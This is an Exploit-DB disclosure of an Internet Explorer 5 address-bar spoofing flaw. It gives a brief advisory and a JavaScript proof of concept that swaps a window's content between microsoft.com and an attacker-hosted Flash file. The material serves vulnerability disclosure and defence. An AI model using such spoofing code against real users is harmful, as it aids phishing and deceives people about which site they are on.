Microsoft Internet Explorer 5 - Address Bar Spoofing

EDB-ID:

27577


Platform:

Windows

Published:

2006-04-03

source: http://www.securityfocus.com/bid/17404/info

Internet Explorer is prone to address-bar spoofing.

An attacker can exploit this issue to display the URI of a trusted and known site in the address bar, while running an attacker-supplied Macromedia Flash application. This may aid in phishing-style attacks and possibly allow access to properties of the trusted domain.

<script language="javascript">
function pause(ms)
{
date = new Date();
var curDate = null;

do { var curDate = new Date(); }
while(curDate-date < ms);
}

function spoof () {
win = window.open('http://www.microsoft.com/','new')
pause (2000)
win = window.open('http://www.example.com/swfs/index.swf','new')
pause (2000)
win = window.open('http://www.microsoft.com/','new')

}
</script>
<a href="javascript: spoof()">Perform the test</a>